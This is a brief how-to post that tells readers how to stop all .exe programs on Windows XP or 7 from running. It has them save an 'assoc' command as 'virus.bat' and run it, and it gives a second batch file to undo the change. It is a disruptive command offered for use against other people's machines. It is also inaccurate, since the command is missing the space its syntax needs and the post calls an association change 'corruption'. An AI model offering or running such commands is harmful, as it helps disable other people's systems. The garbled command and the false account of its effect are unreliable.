How to corrupt all .exe files in xp or win7

Easy steps to corrupt exefiles
1.open notepad
2.write: assoc.exe=hack(or anything)
3.save it with .bat extension,,,like virus.bat
4.double click on that .bat file
5. boom..all the exe files were corrupted
To make it as original
*Just go to that .bat file which a virus
*Right click on it->edit
*Now write:assoc.exe=exefile
*Save it with .bat extension,,,like patch.bat
*Now all the exefiles are working correctly.